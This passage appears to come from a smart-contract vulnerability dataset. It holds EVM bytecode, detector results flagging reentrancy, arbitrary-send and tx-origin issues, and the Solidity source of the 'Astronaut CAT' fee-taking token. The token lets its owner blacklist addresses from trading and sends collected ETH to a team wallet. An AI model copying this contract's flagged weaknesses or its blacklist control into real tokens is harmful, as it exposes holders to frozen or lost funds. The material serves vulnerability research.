1ba5565b50565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016105d690612865565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016105d690612865565b6001600160a01b0381166109ef5760405162461bcd60e51b815260206004820152602160248201527f70726f6a65637457616c6c657420616464726573732063616e6e6f74206265206044820152600360fc1b60648201526084016105d6565b602380546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105d690612865565b601e8183610a7786886129f3565b610a8191906129f3565b610a8b91906129f3565b1115610ad95760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772033302500000060448201526064016105d6565b600e93909355601091909155601255601455565b6000546001600160a01b03163314610b175760405162461bcd60e51b81526004016105d690612865565b60005b8251811015610646578160076000858481518110610b3a57610b3a61289a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b76816128c6565b915050610b1a565b60006105a2338484611533565b6000546001600160a01b03163314610bb55760405162461bcd60e51b81526004016105d690612865565b610bc16009600a6129c5565b610bcf906305f5e1006129d4565b811015610c3b5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e604482015273101817181892903a37ba30b61039bab838363c9760611b60648201526084016105d6565b610c476009600a6129c5565b610c569064012a05f2006129d4565b811115610cc25760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b60648201526084016105d6565b602255565b6000546001600160a01b03163314610cf15760405162461bcd60e51b81526004016105d690612865565b306000908152600460205260409020546108ee81611c2a565b6000546001600160a01b03163314610d345760405162461bcd60e51b81526004016105d690612865565b60085460ff1615610d875760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d6565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dd03082610dc16009600a6129c5565b6106c79064e8d4a510006129d4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e329190612a0b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea39190612a0b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f149190612a0b565b602680546001600160a01b039283166001600160a01b03199091161790556002541663f305d7194730610f5c816001600160a01b031660009081526004602052604090205490565b600080610f716000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610f9396959493929190612a28565b60606040518083038185885af1158015610fb1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fd69190612a63565b50506008805464ffff000000191664010100000017905550610ffa6009600a6129c5565b6110099064012a05f2006129d4565b600990815561101990600a6129c5565b6110279063b2d05e006129d4565b600a908155611038906009906129c5565b611047906404a817c8006129d4565b600b556110566009600a6129c5565b611064906311e1a3006129d4565b6022556008805460ff1916600117905543600c5560265460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156110ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f29190612a91565b5050565b6000546001600160a01b031633146111205760405162461bcd60e51b81526004016105d690612865565b6008805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b031633146111685760405162461bcd60e51b81526004016105d690612865565b603c818361117686886129f3565b61118091906129f3565b61118a91906129f3565b11156111d85760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f7720333025000060448201526064016105d6565b601693909355601891909155601a55601c55565b6000546001600160a01b031633146112165760405162461bcd60e51b81526004016105d690612865565b600d55565b6000546001600160a01b031633146112455760405162461bcd60e51b81526004016105d690612865565b6112516009600a6129c5565b61125f906305f5e1006129d4565b8110156112d45760405162461bcd60e51b815260206004820152603860248201527f4d61782073656c6c20616d6f756e742063616e6e6f74206265206c6f7765722060448201527f7468616e20302e30312520746f74616c20737570706c792e000000000000000060648201526084016105d6565b600a55565b6000546001600160a01b031633146113035760405162461bcd60e51b81526004016105d690612865565b61130f6009600a6129c5565b61131d906305f5e1006129d4565b8110156113925760405162461bcd60e51b815260206004820152603760248201527f4d61782062757920616d6f756e742063616e6e6f74206265206c6f776572207460448201527f68616e20302e30312520746f74616c20737570706c792e00000000000000000060648201526084016105d6565b600955565b6000546001600160a01b031633146113c15760405162461bcd60e51b81526004016105d690612865565b604051600090339047908381818185875af1925050503d8060008114611403576040519150601f19603f3d011682016040523d82523d6000602084013e611408565b606091505b50505050565b6001600160a01b0383166114705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d6565b6001600160a01b0382166114d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166115975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d6565b6001600160a01b0382166115f95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d6565b6000811161165b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d6565b6000806116706000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561169f57506000546001600160a01b03858116911614155b80156116b357506001600160a01b03841615155b80156116ca57506001600160a01b03841661dead14155b80156116de5750600854610100900460ff16155b15611a4c576001600160a01b03851660009081526007602052604090205460ff1615801561172557506001600160a01b03841660009081526007602052604090205460ff16155b61172e57600080fd5b600854640100000000900460ff161561184a576002546001600160a01b0385811691161480159061176d57506026546001600160a01b03858116911614155b1561184a5761177d600143612aae565b326000908152600360205260409020541080156117bb57506117a0600143612aae565b6001600160a01b038516600090815260036020526040902054105b6118255760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016105d6565b3260009081526003602052604080822043908190556001600160a01b03871683529120555b602654600192506001600160a01b03868116911614801561187957506002546001600160a01b03858116911614155b801561189e57506001600160a01b03841660009081526006602052604090205460ff16155b1561198e576009548311156119075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178426044820152683abca0b6b7bab73a1760b91b60648201526084016105d6565b600b548361192a866001600160a01b031660009081526004602052604090205490565b61193491906129f3565b111561198e5760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b60648201526084016105d6565b6026546001600160a01b0385811691161480156119b957506002546001600160a01b03868116911614155b80156119de57506001600160a01b03851660009081526006602052604090205460ff16155b15611a4c57600a54831115611a485760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785360448201526932b63620b6b7bab73a1760b11b60648201526084016105d6565b5060015b6001600160a01b03851660009081526006602052604090205460ff1680611a8b57506001600160a01b03841660009081526006602052604090205460ff165b15611a9557600091505b306000908152600460205260408120549050600060225482118015611ab75750825b9050808015611acf57506008546301000000900460ff165b8015611ae35750600854610100900460ff16155b8015611b0857506001600160a01b03871660009081526006602052604090205460ff16155b8015611b2d57506001600160a01b03861660009081526006602052604090205460ff16155b15611b55576008805461ff001916610100179055611b49611da1565b6008805461ff00191690555b611b62878787878761201a565b50505050505050565b60008184841115611b8f5760405162461bcd60e51b81526004016105d691906125ba565b506000611b9c8486612aae565b95945050505050565b6023546001600160a01b03166108fc611bbf836002612086565b6040518115909202916000818181858888f19350505050158015611be7573d6000803e3d6000fd5b506025546001600160a01b03166108fc611c02836002612086565b6040518115909202916000818181858888f193505050501580156110f2573d6000803e3d6000fd5b6008805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611c7057611c7061289a565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611cc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ced9190612a0b565b81600181518110611d0057611d0061289a565b6001600160a01b039283166020918202929092010152600254611d26913091168461140e565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d5f908590600090869030904290600401612ac5565b600060405180830381600087803b158015611d7957600080fd5b505af1158015611d8d573d6000803e3d6000fd5b50506008805462ff00001916905550505050565b3060009081526004602052604081205490506000602154601f54601e54602054611dcb91906129f3565b611dd591906129f3565b611ddf91906129f3565b90506000821580611dee575081155b15611df857505050565b602254611e0690600a6129d4565b831115611e1e57602254611e1b90600a6129d4565b92505b600060028360205486611e3191906129d4565b611e3b9190612b36565b611e459190612b36565b90506000611e5385836120cf565b905047611e5f82611c2a565b6000611e6b47836120cf565b90506000611e8e87611e88601e548561211190919063ffffffff16565b90612086565b90506000611eab88611e88601f548661211190919063ffffffff16565b90506000611ec889611e886021548761211190919063ffffffff16565b905060008183611ed88688612aae565b611ee29190612aae565b611eec9190612aae565b60006020819055601e819055601f81905560218190556025546040519293506001600160a01b031691849181818185875af1925050503d8060008114611f4e576040519150601f19603f3d011682016040523d82523d6000602084013e611f53565b606091505b50909950508715801590611f675750600081115b15611fb857611f768882612190565b60208054604080518a81529283018490528201527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6023546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612005576040519150601f19603f3d011682016040523d82523d6000602084013e61200a565b606091505b5050505050505050505050505050565b8161202c5761202761222b565b61203a565b6120378584836122e0565b92505b61204585858561243f565b8161207f5761207f600f54600e55601154601055601354601255601554601455601754601655601954601855601b54601a55601d54601c55565b5050505050565b60006120c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124e5565b9392505050565b60006120c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b6b565b600082612120575060006105a6565b600061212c83856129d4565b9050826121398583612b36565b146120c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d6565b6002546121a89030906001600160a01b03168461140e565b60025460245460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926121e89230928992600092839216904290600401612a28565b60606040518083038185885af1158015612206573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061207f9190612a63565b600e5415801561223b5750601054155b80156122475750601254155b80156122535750601454155b801561225f5750601654155b801561226b5750601854155b80156122775750601a54155b80156122835750601c54155b1561228a57565b600e8054600f556010805460115560128054601355601480546015556016805460175560188054601955601a8054601b55601c8054601d5560009788905595879055938690559185905584905583905582905555565b60008060008060008043600d54600c546122fa91906129f3565b10612315575060639350601992508291506018905081612354565b61231e87612513565b9450861561233f5760165493506018549250601a549150601c549050612354565b600e5493506010549250601254915060145490505b60006123656064611e888b89612111565b90508561237284836129d4565b61237c9190612b36565b601e600082825461238d91906129f3565b9091555086905061239e86836129d4565b6123a89190612b36565b601f60008282546123b991906129f3565b909155508690506123ca85836129d4565b6123d49190612b36565b602060008282546123e591906129f3565b909155508690506123f683836129d4565b6124009190612b36565b6021600082825461241191906129f3565b90915550508015612427576124278a308361243f565b612431818a612aae565b9a9950505050505050505050565b6001600160a01b03831660009081526004602052604090205461246290826120cf565b6001600160a01b038085166000908152600460205260408082209390935590841681522054612491908261255b565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115269085815260200190565b600081836125065760405162461bcd60e51b81526004016105d691906125ba565b506000611b9c8486612b36565b6000811561254557601c54601a5460185460165461253191906129f3565b61253b91906129f3565b6105a691906129f3565b601454601254601054600e5461253191906129f3565b60008061256883856129f3565b9050838110156120c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d6565b600060208083528351808285015260005b818110156125e7578581018301518582016040015282016125cb565b818111156125f9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108ee57600080fd5b803561262f8161260f565b919050565b6000806040838503121561264757600080fd5b82356126528161260f565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b80151581146108ee57600080fd5b803561262f81612676565b600080604083850312156126a257600080fd5b823567ffffffffffffffff808211156126ba57600080fd5b818501915085601f8301126126ce57600080fd5b81356020828211156126e2576126e2612660565b8160051b604051601f19603f8301168101818110868211171561270757612707612660565b60405292835281830193508481018201928984111561272557600080fd5b948201945b8386101561274a5761273b86612624565b8552948201949382019361272a565b96506127599050878201612684565b9450505050509250929050565b60008060006060848603121561277b57600080fd5b83356127868161260f565b925060208401356127968161260f565b929592945050506040919091013590565b6000602082840312156127b957600080fd5b5035919050565b6000602082840312156127d257600080fd5b81356120c88161260f565b6000602082840312156127ef57600080fd5b81356120c881612676565b6000806000806080858703121561281057600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561283f57600080fd5b823561284a8161260f565b9150602083013561285a8161260f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156128da576128da6128b0565b5060010190565b600181815b8085111561291c578160001904821115612902576129026128b0565b8085161561290f57918102915b93841c93908002906128e6565b509250929050565b600082612933575060016105a6565b81612940575060006105a6565b816001811461295657600281146129605761297c565b60019150506105a6565b60ff841115612971576129716128b0565b50506001821b6105a6565b5060208310610133831016604e8410600b841016171561299f575081810a6105a6565b6129a983836128e1565b80600019048211156129bd576129bd6128b0565b029392505050565b60006120c860ff841683612924565b60008160001904831182151516156129ee576129ee6128b0565b500290565b60008219821115612a0657612a066128b0565b500190565b600060208284031215612a1d57600080fd5b81516120c88161260f565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612a7857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612aa357600080fd5b81516120c881612676565b600082821015612ac057612ac06128b0565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b155784516001600160a01b031683529383019391830191600101612af0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082612b5357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036c87fe5ead131e0970b2161af9b6964207fb0dfe7fd6e6ecf12ce4f5922c44f64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,218 |
0x6acbec2911c617970497ff390cb704c1d4dd52bc
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Astronaut is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Astronaut CAT";
string private constant _symbol = " AstronautCAT ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600d81526020017f417374726f6e6175742043415400000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ff